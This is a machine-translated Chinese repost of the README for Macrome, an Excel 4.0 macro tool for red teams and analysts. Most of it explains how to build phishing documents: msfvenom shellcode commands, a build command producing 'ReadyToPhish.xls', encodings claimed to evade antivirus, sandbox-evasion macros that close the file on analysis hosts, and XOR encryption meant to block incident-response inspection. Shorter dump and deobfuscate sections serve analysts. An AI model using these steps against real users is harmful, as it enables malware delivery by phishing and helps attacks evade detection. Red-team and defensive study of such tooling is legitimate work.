译文 | Macrome - 适用于红队和分析师的 Excel 宏编辑器
2022-2-21 09:0:0 Author: mp.weixin.qq.com(查看原文) 阅读量:17 收藏

开卷有益 · 不求甚解


前言

适用于红队和分析师的[Excel 宏文档阅读器/编写器。](https://www.kitploit.com/search/label/Excel Macro)可以在此处和此处找到描述此工具实际功能的博客文章。

克隆或下载此存储库,然后可以使用 dotnet 执行该工具 - 例如:

dotnet run -- build --decoy-document Docs\decoy_document.xls --payload Docs\popcalc.bin 

要么

去混淆 --path obfuscated_document.xls

dotnet buildcd bin/Debug/netcoreapp2.0dotnet Macrome.dll deobfuscate --path obfuscated_document.xls

请注意,要按配置工作,需要 5.0+ 版本的 dotnet - 可以从https://dotnet.microsoft.com/download/dotnet/5.0获取。

不需要 dotnet 并包含可执行二进制文件的工具的二进制版本可以在 Windows、OSX 和 Linux 的版本部分找到。

通过使用dotnet run解决方案目录或dotnet针对已构建的 Macrome 二进制文件运行 Macrome。Macrome 有三种操作模式 - 构建模式、转储模式和反混淆模式。

构建模式

使用命令运行 Macrome 以build使用提供的诱饵文档和宏有效负载生成包含混淆宏表的 Excel 文档。dotnet Macrome.dll build -h将显示完整的使用说明。

例如,要使用path/to/decoy_document.xls存储在 的诱饵文档和二进制 x86 shellcode构建文档path/to/shellcode.bin,请运行dotnet Macrome.dll build --decoy-document path/to/decoy_document.xls --payload /path/to/shellcode.bin. 这将生成一个 XLS 2003 文档,在打开并按下“启用内容”按钮后,将执行shellcode.bin.

我应该如何运行它?

文档的其余部分将详细解释每个标志/功能,但现在可以通过运行获得 Macrome 必须提供的“最新和最棒的”:

Macrome build --decoy-document decoy_document.xls --payload beacon.bin --payload64-bit beacon64.bin --payload-method Base64 --method ArgumentSubroutines --password VelvetSweatshop --preamble preamble.txt --output-file-name ReadyToPhish.xls

二进制有效负载使用

首先生成一个包含用户应该看到的内容的基本“诱饵”Excel 文档。这应该是某种诱使用户单击 Excel 中显示的“启用宏”按钮的诱饵。在https://inquest.net/blog/2020/05/06/ZLoader-4.0-Macrosheets-上有一些“最新和最伟大”的诱饵创建示例。创建此工作表后,将文档另存为类型Excel 97-2003 Workbook (*.xls)而不是较新的Excel Workbook (*.xlsx)格式。一个示例诱饵文档包含在/Docs/decoy_document.xls. 请注意,如果您使用 XOR 混淆来保护您的文档,您目前无法将图像添加到您的诱饵中。

接下来,生成一个 shellcode 有效负载以提供给该工具。示例二进制有效负载(弹出 calc)是msfvenom使用以下参数生成的:

 msfvenom -a x86 -b '\x00' --platform windows -p windows/exec cmd=calc.exe -e x86/alpha_mixed -f raw EXITFUNC=thread > popcalc.bin

还支持 64 位有效负载。示例 64 位有效负载popcalc64.bin是使用以下命令生成的:

msfvenom -a x64 -b '\x00' --platform windows -p windows/x64/exec cmd=calc.exe -e x64/xor -f raw EXITFUNC=thread > popcalc64.bin

然后可以通过执行以下命令嵌入此有效负载:

dotnet Macrome.dll build --decoy-document decoy_document.xls --payload popcalc.bin --payload64-bit popcalc64.bin

当前 64 位有效负载将要求还提供 x86 有效负载。如果这不是问题,您可以为 x86 有效负载标志指定垃圾。

最终支持直接在文档中嵌入 .NET 程序集,但如果您现在想这样做,我建议使用EXCELntDonut。

从 Macrome 0.5.0 及更高版本开始,所有有效负载都将使用 base64 编码,因此您的有效负载将能够包含任何字节序列(包括空字节)。

嵌入可执行文件

如果你想使用 Macrome 嵌入一个 .NET 可执行文件,我建议使用带有命令的Donutdonut.exe -a 3 -b 1 -z 1 executableToEmbed.exe,然后将生成的有效负载作为 32 位和 64 位有效负载嵌入。

另一个可靠的替代品是Amber,它非常适合嵌入一些相当大的 Go 二进制文件。

传统有效载荷编码

如果出于某种原因您想使用 Macrome 0.5.0 之前的旧有效负载编码模式,请使用--payload-method带有SheetPackingMethod. 请注意,在传统模式下,使用大多数字母数字有效负载将减少生成的宏文件的大小,因为以宏形式表示字母和数字更容易,而不是CHAR像等一样重复附加函数调用=CHAR(123)&CHAR(124)&CHAR(125)...。但是该工具应该能够处理一个完全不可打印的二进制有效载荷。

宏负载使用

与二进制有效负载的使用类似,必须首先生成诱饵文档。接下来,应该创建一个包含要运行的宏的文本文件。宏应该有由;字符分隔的列和由换行符分隔的行。目前,指定的宏的内容将从 A1 开始写入和执行 - 尽管将来会添加支持以允许指定开始位置。示例宏可以在/Docs/macro_example.txt和中找到/Docs/multi_column_macro_example.txt

最后运行命令:

dotnet Macrome.dll build --decoy-document decoy_document.xls --payload macro-example.txt --payload-type Macro

payload-type请注意设置为 的标志的用法Macro

您可以自己生成宏,也可以使用精彩的EXCELntDonut工具为您创建宏。

编码方式选择

这些将在即将发布的博客文章中详细介绍,但 Macrome 现在可以以三种不同的方式对宏有效负载进行编码。其中大多数仍然未被任何 AV 检测到 - 但请尝试使用您的有效负载以查看最有效的方法。

  1. CharSubroutine - 通过在随机单元格处创建子例程,然后使用长链IFSET.NAME函数调用它来替换重复 CHAR() 函数的使用。这是著名的恶意软件作者尚未滥用的东西,因此目前不太可能对 AV 进行 ping 操作。
  2. ObfuscatedCharFunc - 原始的 Macrome 编码函数。调用 CHAR() 但将其附加到随机空单元格并将值包装在ROUND函数中。
  3. ObfuscatedCharFuncAlt - 原始编码的轻微变化,我们不使用 PtgFunc 来调用 CHAR,而是使用 PtgFuncVar - 这会破坏大多数尝试计算 CHAR 调用的签名。
  4. AntiAnalysisCharSubroutine - 与CharSubroutine相同,但传递给子例程的变量使用 Unicode 恶作剧进行模糊处理,如此处所述。请注意,由于添加了诱饵变量名称,这将生成比CharSubroutine模式更大的文档。
  5. ArgumentSubroutines - 为 CHAR() 和 FORMULA() 创建自定义子例程,将它们作为自定义函数调用,并使用模拟器较少支持的 ARGUMENT() 宏解析参数。

在构建时使用标志指定编码method- 例如,使用CharSubroutine编码器:

dotnet Macrome.dll b --decoy-document decoy_document.xls --method CharSubroutine --payload popcalc.bin --output-file-name CharSubroutine-Macro.xls

序言宏

有时您可能希望某些宏在有效负载代码之前运行。当您为沙盒规避添加宏和/或验证您的有效负载是否在正确的主机上运行时,这很有帮助。

前导文件的格式与使用时完全相同payload-type Macro,但仅支持单列。例如,您可以有一个序言:

=IF(GET.WORKSPACE(13)<770, CLOSE(FALSE),)=IF(GET.WORKSPACE(14)<390, CLOSE(FALSE),)=IF(GET.WORKSPACE(19),,CLOSE(FALSE))=IF(GET.WORKSPACE(42),,CLOSE(FALSE))

这将检查屏幕分辨率值、鼠标的存在以及播放声音的能力。如果其中任何一个失败,则应用程序将在运行主要有效负载内容之前关闭。

此外,如果您希望前导宏立即评估,而不是在解压缩其余宏之后,您可以在命令前加上%%%%%. 例如:

%%%%%=IF(GET.WORKSPACE(13)<770, HALT(),)%%%%%=IF(GET.WORKSPACE(14)<390, HALT(),)%%%%%=IF(GET.WORKSPACE(19),,HALT())%%%%%=IF(GET.WORKSPACE(42),,HALT())

这有助于最大限度地减少在终止文档之前运行的 XLM 命令的数量,并且有助于对沙盒指示器的存在做出更直接的反应。

XOR 混淆密码保护

Macrome 0.3.0+ 支持使用 XOR 混淆对文档进行密码保护,这是一种旧版 Office 的传统加密模式。这种加密模式通常不受 IR 工具的支持,可以帮助保护文档内容不被检查。

Excel 有一个“默认”密码VelvetSweatshop,它允许您加密文档内容,同时仍然使文档在打开时自动解密。这是在攻击性上下文中使用 XOR 混淆的“理想”方式。Macrome 将在反混淆或转储文档时自动尝试使用此密码。

要使用此功能,只需添加--password <passwordToEncrypt>到您的构建命令。

转储模式

使用命令运行 Macromedump以打印任意文档的最相关 BIFF8 记录。此功能类似于olevba的宏转储功能,但它对边缘情况 Ptg 条目进行了更完整的处理,以帮助确保格式尽可能接近 Excel 的实际 FORMULA 条目。这是我在制作这个工具时用来调试一些奇怪的边缘案例文档的工具,所以它比较健壮。我确信现在有大量的边缘案例不受支持,所以如果你发现一个文档没有正确转储其内容,请打开一个问题并将文档作为 zip 文件共享。

dump 命令只需要一个path指向目标文件的参数。一个示例调用是:

dotnet Macrome.dll dump --path docToDump.xls

dump命令的大多数标志用于调试,但dump-hex-bytes对于希望查看相关记录的单个字节有效负载的用户可能很有用。这与BiffView的功能相似,但默认情况下只会显示特定于恶意文档的条目。

去混淆模式

使用命令运行 Macromedeobfuscate以获取经过混淆的 XLS 二进制文档并尝试反转几种反分析行为。dotnet Macrome.dll deobfuscate -h将显示完整的使用说明。目前,默认情况下,此模式将:

  • 取消隐藏所有工作表,无论其隐藏状态如何
  • Lbl规范化Excel 将解释为 Auto_Open 条目的所有条目的手动指定标签,尽管它们的名称与该字符串不匹配。

例如,要对位于 的恶意 XLS 2003 宏文件进行去混淆处理path/to/obfuscated_file.xls,请运行dotnet Macrome.dll deobfuscate --path path/to/obfuscated_file.xls. 这将生成一个混淆文件的副本,这将更容易手动或使用工具进行分析。

注意这还没有做太多,主要是为了演示如何使用修改后的 b2xtranslator 库来帮助自动化反混淆。更多有用的功能即将推出。

致谢

非常感谢为了写这篇文章,我能够站在所有的肩膀上。

  • https://outflank.nl/blog/2018/10/06/old-school-evil-excel-4-0-macros-xlm/ - Outflank 团队创造了这种攻击,我只是自动化一些乏味的部分.
  • InQuest 的人们对恶意软件作者正在做什么以逃避检测的出色报道。
    • https://inquest.net/blog/2019/01/29/Carving-Sneaky-XLM-Files
    • https://inquest.net/blog/2020/03/18/Getting-Sneakier-Hidden-Sheets-Data-Connections-and-XLM-Macros
    • https://inquest.net/blog/2020/05/06/ZLoader-4.0-Macrosheets-
  • @DissectMalware用于他们的杀手XLMMacroDeobfuscator工具,该工具非常适合进行测试,如果您在防御/分析方面,它只是一项非常棒的技术。
  • @JoeLeonJr,感谢他们出色的EXCELntDonut工具,其多架构[Excel 宏](https://www.kitploit.com/search/label/Excel Macros)I偷了适合向 Macrome 添加 x64 架构支持。
  • b2xtranslator库的原始作者以及 EvolutionJobs 的人员对其进行了更新并将其移植到 dotnet。这里使用的代码最初来源于https://github.com/EvolutionJobs/b2xtranslator。
  • 图片取自 KC Green 的漫画https://gunshowcomic.com/648

下载Macrome

译文申明

  • 文章来源为近期阅读文章,质量尚可的,大部分较新,但也可能有老文章。
  • 开卷有益,不求甚解,不需面面俱到,能学到一个小技巧就赚了。
  • 译文仅供参考,具体内容表达以及含义, 以原文为准 (译文来自自动翻译)
  • 如英文不错的,尽量阅读原文。(点击原文跳转)
  • 每日早读基本自动化发布(不定期删除),这是一项测试

最新动态: Follow Me

微信/微博:red4blue

公众号/知乎:blueteams



文章来源: http://mp.weixin.qq.com/s?__biz=MzU0MDcyMTMxOQ==&mid=2247485380&idx=3&sn=10a37ea69c1edcab2d02f19796ea37da&chksm=fb35ae0ccc42271aaf971aea04c070bc504403079004c4c182ee9e7b3bc2cb9b84f998fb4d8c#rd
如有侵权请联系:admin#unsafe.sh